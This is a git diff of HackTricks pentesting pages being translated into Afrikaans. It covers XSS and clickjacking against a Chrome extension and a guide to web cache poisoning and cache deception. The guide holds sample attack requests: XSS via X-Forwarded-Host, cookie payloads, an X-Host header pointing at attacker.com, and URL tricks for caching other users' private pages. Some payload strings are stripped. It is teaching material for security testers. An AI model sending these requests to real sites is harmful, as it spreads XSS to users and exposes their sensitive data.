object-src 'self';" ``` +laat die uitvoering van JavaScript toe, wat die stelsel kwesbaar maak vir XSS-aanvalle. -allows the execution of JavaScript, making the system vulnerable to XSS attacks. - -An alternative approach to provoke the XSS involves creating an Iframe element and setting its source to include the harmful script as the `content` parameter: - +'n Alternatiewe benadering om die XSS te provoceer, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die `content` parameter in te sluit: ```javascript let newFrame = document.createElement("iframe") newFrame.src = - "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + - encodeURIComponent("") +"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + +encodeURIComponent("") document.body.append(newFrame) ``` +## DOM-gebaseerde XSS + ClickJacking -## DOM-based XSS + ClickJacking - -This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). - -The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below: +Hierdie voorbeeld is geneem uit die [oorspronklike pos skrywe](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). +Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid geleë in **`/html/bookmarks.html`**. Die problematiese JavaScript, deel van **`bookmarks.js`**, word hieronder uiteengesit: ```javascript $("#btAdd").on("click", function () { - var bookmarkName = $("#txtName").val() - if ( - $(".custom-button .label").filter(function () { - return $(this).text() === bookmarkName - }).length - ) - return false +var bookmarkName = $("#txtName").val() +if ( +$(".custom-button .label").filter(function () { +return $(this).text() === bookmarkName +}).length +) +return false - var bookmarkItem = $('
') - bookmarkItem.html('' + bookmarkName + "") - bookmarkItem.append('') - bookmarkItem.attr("data-title", bookmarkName) - bookmarkItem.data("timestamp", new Date().getTime()) - $("section.bookmark-container .existing-items").append(bookmarkItem) - persistData() +var bookmarkItem = $('
') +bookmarkItem.html('' + bookmarkName + "") +bookmarkItem.append('') +bookmarkItem.attr("data-title", bookmarkName) +bookmarkItem.data("timestamp", new Date().getTime()) +$("section.bookmark-container .existing-items").append(bookmarkItem) +persistData() }) ``` +Hierdie snit haal die **waarde** uit die **`txtName`** invoerveld en gebruik **string-konkatenasie om HTML te genereer**, wat dan aan die DOM bygevoeg word met jQuery se `.append()` funksie. -This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function. +Tipies sou die Chrome uitbreiding se Inhoudsekuriteitsbeleid (CSP) sulke kwesbaarhede voorkom. egter, as gevolg van **CSP verslapping met ‘unsafe-eval’** en die gebruik van jQuery se DOM manipulasie metodes (wat [`globalEval()`](https://api.jquery.com/jquery.globaleval/) gebruik om skripte aan [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) oor te dra tydens DOM invoeging), is uitbuiting steeds moontlik. -Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible. - -While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button. - -To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy: +Terwyl hierdie kwesbaarheid beduidend is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die bladsy besoek, 'n XSS payload invoer, en die “Voeg by” knoppie aktiveer. +Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking** kwesbaarheid uitgebuit. Die Chrome uitbreiding se manifest toon 'n uitgebreide `web_accessible_resources` beleid: ```json "web_accessible_resources": [ - "html/bookmarks.html", - "dist/*", - "assets/*", - "font/*", - [...] +"html/bookmarks.html", +"dist/*", +"assets/*", +"font/*", +[...] ], ``` +Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daargeteëlde slagoffers om onbewustelik met die onderliggende uitbreiding te interaksie. -Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally. - -## References +## Verwysings - [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) - [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 38d5e764f..6b6e4137b 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -1,150 +1,139 @@ -# Cache Poisoning and Cache Deception +# Cache Poisoning en Cache Deception {{#include ../../banners/hacktricks-training.md}}
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik **werkvloeiens** te bou en te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\ +Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## The difference +## Die verskil -> **What is the difference between web cache poisoning and web cache deception?** +> **Wat is die verskil tussen web cache poisoning en web cache deception?** > -> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. -> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. +> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word aan ander toepassingsgebruikers van die cache bedien. +> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache. ## Cache Poisoning -Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination. +Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die aangetaste bladsy, aangesien die besmette antwoord eksklusief aan gebruikers wat die bladsy besoek tydens die periode van cache besoedeling bedien word. -The execution of a cache poisoning assault involves several steps: +Die uitvoering van 'n cache poisoning aanval behels verskeie stappe: -1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache. -2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker. -3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response. +1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis word vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer. +2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel. +3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die aangetaste bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang. -### Discovery: Check HTTP headers +### Ontdekking: Kontroleer HTTP koppe -Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kop wat dit aandui** wees, jy kan kyk watter koppe jy op hierdie pos moet let: [**HTTP Cache koppe**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Discovery: Caching error codes +### Ontdekking: Cache foutkodes -If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS). +As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer). -You can find more options in: +Jy kan meer opsies vind in: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable. +Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor word nie**, so hierdie toets mag nie betroubaar wees nie. -### Discovery: Identify and evaluate unkeyed inputs - -You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there: +### Ontdekking: Identifiseer en evalueer ongekykte insette +Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koppe te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kop `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai: ```markup ``` +### Onttrek 'n skadelike reaksie van die agtergrondbediener -### Elicit a harmful response from the back-end server +Met die parameter/kop geïdentifiseer, kyk hoe dit **gesuiwer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...) -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +### Kry die reaksie in die cache -### Get the response cached +Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangende van die hulpbron wat jy probeer om in die cache te kry, kan dit 'n rukkie neem, jy mag dalk vir verskeie sekondes moet probeer. -Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds. +Die kop **`X-Cache`** in die reaksie kan baie nuttig wees, aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\ +Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800` -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe aan te dui** wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer wat hy teiken, ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig. -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +Een meer kop wat verband hou met die cache is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy-cache was. -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +## Exploitering Voorbeelde -## Exploiting Examples - -### Easiest example - -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +### Eenvoudigste voorbeeld +'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\ +Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy benader, XSS sal ervaar: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` +_Note dat dit 'n versoek na `/en?region=uk` sal vergiftig en nie na `/en` nie_ -_Note that this will poison a request to `/en?region=uk` not to `/en`_ - -### Cache poisoning to DoS +### Cache vergiftiging om DoS {{#ref}} cache-poisoning-to-dos.md {{#endref}} -### Using web cache poisoning to exploit cookie-handling vulnerabilities - -Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response. +### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te benut +Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige cache antwoord laai. ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` +Let daarop dat as die kwesbare koekie baie deur die gebruikers gebruik word, gereelde versoeke die cache sal skoonmaak. -Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. +### Generering van verskille met afdelers, normalisering en punte -### Generating discrepancies with delimiters, normalization and dots - -Check: +Kontroleer: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning with path traversal to steal API key +### Cache vergiftiging met pad traversering om API-sleutel te steel -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. +[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` in die cache gestoor sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het. -This is also explained better in: +Dit word ook beter verduidelik in: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Using multiple headers to exploit web cache poisoning vulnerabilities - -Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect. +### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut +Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word. ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` - ### Exploiting with limited `Vary`header -If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent: - +As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent: ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` - ### Fat Get -Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website: - +Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die cachebediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -153,91 +142,90 @@ Content-Length: 22 report=innocent-victim ``` +Daar is 'n portswigger laboratorium oor hierdie: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +### Parameter Cloaking -### Parameter Cloacking +Byvoorbeeld, dit is moontlik om **parameters** in ruby bedieners te skei met die karakter **`;`** in plaas van **`&`**. Dit kan gebruik word om ongekeyde parameterwaardes binne gekeyde te plaas en dit te misbruik. -For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. +Portswigger laboratorium: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) +### Exploiting HTTP Cache Poisoning deur HTTP Request Smuggling te misbruik -### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling +Leer hier oor hoe om [Cache Poisoning-aanvalle deur HTTP Request Smuggling te misbruik](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). -Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +### Geoutomatiseerde toetsing vir Web Cache Poisoning -### Automated testing for Web Cache Poisoning +Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar. -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. +Voorbeeld gebruik: `wcvs -u example.com` -Example usage: `wcvs -u example.com` - -## Vulnerable Examples +## Kwetsbare Voorbeelde ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query. +ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So is die versoek `/#/../?r=javascript:alert(1)` na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag. ### GitHub CP-DoS -Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users. +Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache-sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val. ### GitLab + GCP CP-DoS -GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`. +GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So was dit moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun. ### Rack Middleware (Ruby on Rails) -In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk. +In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou. -### 403 and Storage Buckets +### 403 en Stoor Buckets -Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services. +Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onakkurate Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees. -### Injecting Keyed Parameters +### Invoeg van Gekeyde Parameters -Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error. +Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n cachebare 400 Bad Request-fout. -### User Agent Rules +### User Agent Reëls -Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS. +Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring. -### Illegal Header Fields +### Onwettige Kop Velde -The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error. +Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request-antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400-fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request-fout sou lewer. -### Finding new headers +### Vind nuwe koppe [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Deception -The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. +Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**. -First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users. +Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**. -Other things to test: +Ander dinge om te toets: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Use lesser known extensions such as_ `.avif` +- _Gebruik minder bekende uitbreidings soos_ `.avif` -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\ -Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before. +Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\ +Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem. -Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file). +Let daarop dat die **cache proxy** moet wees **gekonfigureer** om lêers **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer). -Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Leer hier oor hoe om [Cache Deceptions aanvalle te voer wat HTTP Request Smuggling 